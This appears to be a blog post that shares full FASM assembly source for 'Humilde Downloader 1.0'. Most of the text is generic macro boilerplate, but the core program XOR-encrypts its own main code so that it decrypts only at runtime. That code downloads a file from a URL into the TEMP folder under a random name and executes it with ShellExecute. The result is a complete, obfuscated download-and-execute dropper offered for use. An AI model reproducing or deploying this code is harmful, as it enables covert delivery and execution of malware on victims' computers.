Twitter
RSS

Humilde Downloader 1.0

;Humilde Downloader 1.0
; by
; y y yyy yyyyyyyyyyyyy
; y y y y
; y y yyyyyy y
; yy y y
; y y y
; y y y
; y yyyyyyy y
; ysk_sft@hotmail.com
; diariodeyst.blogspot.com
macro invoke proc,[arg] ; indirectly call STDCALL procedure
{ common
if ~ arg eq
reverse
pushd arg
common
end if
call [proc] }
macro allow_nesting
{ macro pushd value
\{ match ,value \\{
pushx equ \\}
match =pushx =invoke proc,pushx value \\{
allow_nesting
invoke proc
purge pushd,invoke,stdcall,cinvoke,ccall
push eax
pushx equ \\}
match =pushx =stdcall proc,pushx value \\{
allow_nesting
stdcall proc
purge pushd,invoke,stdcall,cinvoke,ccall
push eax
pushx equ \\}
match =pushx =cinvoke proc,pushx value \\{
allow_nesting
cinvoke proc
purge pushd,invoke,stdcall,cinvoke,ccall
push eax
pushx equ \\}
match =pushx =ccall proc,pushx value \\{
allow_nesting
ccall proc
purge pushd,invoke,stdcall,cinvoke,ccall
push eax
pushx equ \\}
match =pushx,pushx \\{
pushd <value>
pushx equ \\}
restore pushx \}
macro invoke proc,[arg]
\{ \reverse pushd <arg>
\common call [proc] \}
macro stdcall proc,[arg]
\{ \reverse pushd <arg>
\common call proc \}
macro cinvoke proc,[arg]
\{ \common \local size
size = 0
if ~ arg eq
\reverse pushd <arg>
size = size+4
match =double any,arg \\{ size = size \\}
\common end if
call [proc]
if size
add esp,size
end if \}
macro ccall proc,[arg]
\{ \common \local size
size = 0
if ~ arg eq
\reverse pushd <arg>
size = size+4
match =double any,arg \\{ size = size+4 \\}
\common end if
call proc
if size
add esp,size
end if \} }

macro pushd value
{ match first=,more, value \{ \local ..continue
call ..continue
db value,0
..continue:
pushd equ \}
match pushd =addr var,pushd value \{ \local ..opcode,..address
virtual at 0
label ..address at var
mov eax,dword [..address]
load ..opcode from 0
end virtual
if ..opcode = 0A1h
push var
else
lea edx,[..address]
push edx
end if
pushd equ \}
match pushd =double [var],pushd value \{
push dword [var+4]
push dword [var]
pushd equ \}
match pushd =double =ptr var,pushd value \{
push dword [var+4]
push dword [var]
pushd equ \}
match pushd =double num,pushd value \{ \local ..high,..low
virtual at 0
dq num
load ..low dword from 0
load ..high dword from 4
end virtual
push ..high
push ..low
pushd equ \}
match pushd,pushd \{ \local ..continue
if value eqtype ''
call ..continue
db value,0
..continue:
else
push value
end if
pushd equ \}
restore pushd }

allow_nesting

macro import lib,[functions]
{ common macro import_#lib \{ import lib,functions \} }
format pe gui 4.0

macro proc [args] ; define procedure
{ common
match name params, args>
\{ define@proc name,<params \} }

prologue@proc equ prologuedef

macro prologuedef procname,flag,parmbytes,localbytes,reglist
{ if parmbytes | localbytes
push ebp
mov ebp,esp
if localbytes
sub esp,localbytes
end if
end if
irps reg, reglist \{ push reg \} }

epilogue@proc equ epiloguedef

macro epiloguedef procname,flag,parmbytes,localbytes,reglist
{ irps reg, reglist \{ reverse pop reg \}
if parmbytes | localbytes
leave
end if
if flag and 10000b
retn
else
retn parmbytes
end if }

macro define@proc name,statement
{ local params,flag,regs,parmbytes,localbytes,current
if used name
name:
match =stdcall args, statement \{ params equ args
flag = 11b \}
match =stdcall, statement \{ params equ
flag = 11b \}
match =c args, statement \{ params equ args
flag = 10001b \}
match =c, statement \{ params equ
flag = 10001b \}
match =params, params \{ params equ statement
flag = 0 \}
virtual at ebp+8
match =uses reglist=,args, params \{ regs equ reglist
params equ args \}
match =regs =uses reglist, regs params \{ regs equ reglist
params equ \}
match =regs, regs \{ regs equ \}
match =,args, params \{ defargs@proc args \}
match =args@proc args, args@proc params \{ defargs@proc args \}
parmbytes = $ - (ebp+8)
end virtual
name # % = parmbytes/4
all@vars equ
current = 0
match prologue:reglist, prologue@proc:<regs> \{ prologue name,flag,parmbytes,localbytes,reglist \}
macro locals
\{ virtual at ebp-localbytes+current
macro label def \\{ match . type,def> \\\{ deflocal@proc .,label,<type \\\} \\}
struc db [val] \\{ \common deflocal@proc .,db,val \\}
struc du [val] \\{ \common deflocal@proc .,du,val \\}
struc dw [val] \\{ \common deflocal@proc .,dw,val \\}
struc dp [val] \\{ \common deflocal@proc .,dp,val \\}
struc dd [val] \\{ \common deflocal@proc .,dd,val \\}
struc dt [val] \\{ \common deflocal@proc .,dt,val \\}
struc dq [val] \\{ \common deflocal@proc .,dq,val \\}
struc rb cnt \\{ deflocal@proc .,rb cnt, \\}
struc rw cnt \\{ deflocal@proc .,rw cnt, \\}
struc rp cnt \\{ deflocal@proc .,rp cnt, \\}
struc rd cnt \\{ deflocal@proc .,rd cnt, \\}
struc rt cnt \\{ deflocal@proc .,rt cnt, \\}
struc rq cnt \\{ deflocal@proc .,rq cnt, \\} \}
macro endl
\{ purge label
restruc db,du,dw,dp,dd,dt,dq
restruc rb,rw,rp,rd,rt,rq
current = $-(ebp-localbytes)
end virtual \}
macro ret operand
\{ match any, operand \\{ retn operand \\}
match , operand \\{ match epilogue:reglist, epilogue@proc:<regs>
\\\{ epilogue name,flag,parmbytes,localbytes,reglist \\\} \\} \}
macro finish@proc \{ localbytes = (((current-1) shr 2)+1) shl 2
end if \} }

macro defargs@proc [arg]
{ common
if ~ arg eq
forward
local ..arg,current@arg
match argname:type, arg
\{ current@arg equ argname
label ..arg type
argname equ ..arg
if dqword eq type
dd ?,?,?,?
else if tbyte eq type
dd ?,?,?
else if qword eq type | pword eq type
dd ?,?
else
dd ?
end if \}
match =current@arg,current@arg
\{ current@arg equ arg
arg equ ..arg
..arg dd ? \}
common
args@proc equ current@arg
forward
restore current@arg
common
end if }

macro deflocal@proc name,def,[val]
{ common
match vars, all@vars \{ all@vars equ all@vars, \}
all@vars equ all@vars name
forward
local ..var,..tmp
match =label,def \{ ..tmp equ \}
match tmp,..tmp \{ ..var def val \}
match ,..tmp \{ label ..var val \}
match =?, val \{ ..tmp equ \}
match any =?, val \{ ..tmp equ \}
match any (=?), val \{ ..tmp equ \}
match tmp : value, ..tmp : val
\{ tmp: end virtual
initlocal@proc ..var,def value
virtual at tmp\}
common
match first rest, ..var, \{ name equ first \} }

macro initlocal@proc name,def
{ virtual at name
def
size@initlocal = $ - name
end virtual
position@initlocal = 0
while size@initlocal > position@initlocal
virtual at name
def
if size@initlocal - position@initlocal < 2
current@initlocal = 1
load byte@initlocal byte from name+position@initlocal
else if size@initlocal - position@initlocal < 4
current@initlocal = 2
load word@initlocal word from name+position@initlocal
else
current@initlocal = 4
load dword@initlocal dword from name+position@initlocal
end if
end virtual
if current@initlocal = 1
mov byte [name+position@initlocal],byte@initlocal
else if current@initlocal = 2
mov word [name+position@initlocal],word@initlocal
else
mov dword [name+position@initlocal],dword@initlocal
end if
position@initlocal = position@initlocal + current@initlocal
end while }

macro endp
{ purge ret,locals,endl
finish@proc
purge finish@proc
restore regs@proc
match all,args@proc \{ restore all \}
restore args@proc
match all,all@vars \{ restore all \} }

macro local [var]
{ common
locals
forward done@local equ
match varname[count]:vartype, var
\{ match =BYTE, vartype \\{ varname rb count
restore done@local \\}
match =WORD, vartype \\{ varname rw count
restore done@local \\}
match =DWORD, vartype \\{ varname rd count
restore done@local \\}
match =PWORD, vartype \\{ varname rp count
restore done@local \\}
match =QWORD, vartype \\{ varname rq count
restore done@local \\}
match =TBYTE, vartype \\{ varname rt count
restore done@local \\}
match =DQWORD, vartype \\{ label varname dqword
rq count+count
restore done@local \\}
match , done@local \\{ virtual
varname vartype
end virtual
rb count*sizeof.\#vartype
restore done@local \\} \}
match :varname:vartype, done@local:var
\{ match =BYTE, vartype \\{ varname db ?
restore done@local \\}
match =WORD, vartype \\{ varname dw ?
restore done@local \\}
match =DWORD, vartype \\{ varname dd ?
restore done@local \\}
match =PWORD, vartype \\{ varname dp ?
restore done@local \\}
match =QWORD, vartype \\{ varname dq ?
restore done@local \\}
match =TBYTE, vartype \\{ varname dt ?
restore done@local \\}
match =DQWORD, vartype \\{ label varname dqword
dq ?,?
restore done@local \\}
match , done@local \\{ varname vartype
restore done@local \\} \}
match ,done@local
\{ var
restore done@local \}
common
endl }
macro encrypt dstart,dsize {
local ..char,..key,..shift
repeat dsize
load ..char from dstart+%-1
..char = ..char xor $FA
store ..char at dstart+%-1
end repeat
}
entry start
section '.text' code readable executable writeable
proc EncriptacionXOR,cCadena,cTamaño
push ebx
xor ebx,ebx
mov ebx,[cTamaño]
jmp .Start
.Start:
mov eax,[cCadena]
inc ebx
dec eax
.bucle:
dec ebx
cmp ebx,0
jbe .salir
inc eax
xor byte[eax],$FA
jmp .bucle
.salir:
pop ebx
ret
endp
proc start
stdcall EncriptacionXOR,InicioA,FinA-InicioA ;Desencriptamos
InicioA:
invoke CreateThread , 0, 0,DownloadFile,"Aqui va la URL" ,0 , 0;Creamos el hilo para descargar
invoke WaitForSingleObject,eax,-1 ;Esperamos que se cierre el hilo
invoke CreateThread , 0, 0,[ExitProcess],0 ,0 , 0;Salimos

endp
proc DownloadFile,pUrl
locals
MAX_PATH = 260
bwrite dd ?
f rb MAX_PATH*2
handleCreado dd ?
hSession dd ?
hUrl dd ?
buflong dd ?
lbuffer rb 800
endl
stdcall Len,[pUrl]
add eax,[pUrl]

.bucle:
dec eax
cmp byte[eax],"."
jne .bucle
mov edi,eax ;Obtenemos la extención
INVALID_HANDLE_VALUE = -1
invoke GetEnvironmentVariable,"TEMP", addr f,MAX_PATH ;Obtenemos la ruta de los archivos temporales
stdcall Len,addr f
lea ecx,[f]
add eax,ecx
mov ebx,eax
RDTSC
invoke wsprintf,ebx,"\%d%s",eax,edi
invoke CreateFileA,addr f, 40000000h, 0, 0, 2, 0, 0 ;Creamos el archivo
cmp eax,INVALID_HANDLE_VALUE
je .exit
mov [handleCreado],eax
invoke InternetOpen,0,0,0,0,0
cmp eax,INVALID_HANDLE_VALUE
je .exit
mov [hSession],eax

invoke InternetOpenUrl,[hSession],[pUrl],0,0,0,0
cmp eax,INVALID_HANDLE_VALUE
je .exit
mov [hUrl],eax
.download:
invoke InternetReadFile,[hUrl],addr lbuffer,800,addr buflong ;Leemos el archivo
or [buflong],0
jz .close

invoke WriteFile,[handleCreado],addr lbuffer,[buflong],addr bwrite,0 ;Escribimos el archivo
jmp .download
.close:
invoke CloseHandle,[handleCreado] ;Cerramos los handle
invoke InternetCloseHandle,[hUrl]
invoke InternetCloseHandle,[hSession]
invoke ShellExecute,0, "Open", addr f,0, 0, 1 ;Ejecutamos el archivo descargado

invoke Sleep,1000 ;Dormimos 1 segundo
.exit:
invoke ExitThread,0 ;Salimos del hilo
endp
proc Len,cCadena ;Funcion que mide la cadena
push ecx edi
mov ecx,-1
mov edi,[cCadena]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
FinA:
encrypt InicioA,FinA-InicioA
section '.idata' import data readable writeable

macro library [name,string]
{ forward
local _label
if defined name#.redundant
if ~ name#.redundant
dd RVA name#.lookup,0,0,RVA _label,RVA name#.address
end if
end if
name#.referred = 1
common
dd 0,0,0,0,0
forward
if defined name#.redundant
if ~ name#.redundant
_label db string,0
rb RVA $ and 1
end if
end if }

macro import name,[label,string]
{ common
if defined name#.referred
name#.lookup:
forward
if used label
if string eqtype ''
local _label
dd RVA _label
else
dd 80000000h + string
end if
end if
common
if $ > name#.lookup
name#.redundant = 0
dd 0
else
name#.redundant = 1
end if
name#.address:
forward
if used label
if string eqtype ''
label dd RVA _label
else
label dd 80000000h + string
end if
end if
common
if ~ name#.redundant
dd 0
end if
forward
if used label & string eqtype ''
_label dw 0
db string,0
rb RVA $ and 1
end if
common
end if }

library kernel32,'kernel32.dll',Wininet,'Wininet.dll' ,user32,'user32.dll', shell32,'SHELL32.DLL'
import kernel32,CreateThread,'CreateThread',WaitForSingleObject,'WaitForSingleObject',GetEnvironmentVariable,'GetEnvironmentVariableA' ,\
ExitProcess,'ExitProcess',CreateFileA,'CreateFileA',WriteFile,'WriteFile',CloseHandle,'CloseHandle' ,Sleep,'Sleep',ExitThread,'ExitThread'
import user32,wsprintf,'wsprintfA'
import shell32,ShellExecute,'ShellExecuteA'
import Wininet,InternetOpen,'InternetOpenA',InternetOpenUrl,'InternetOpenUrlA',InternetCloseHandle,'InternetCloseHandle',InternetReadFile,'InternetReadFile'

Comments (0)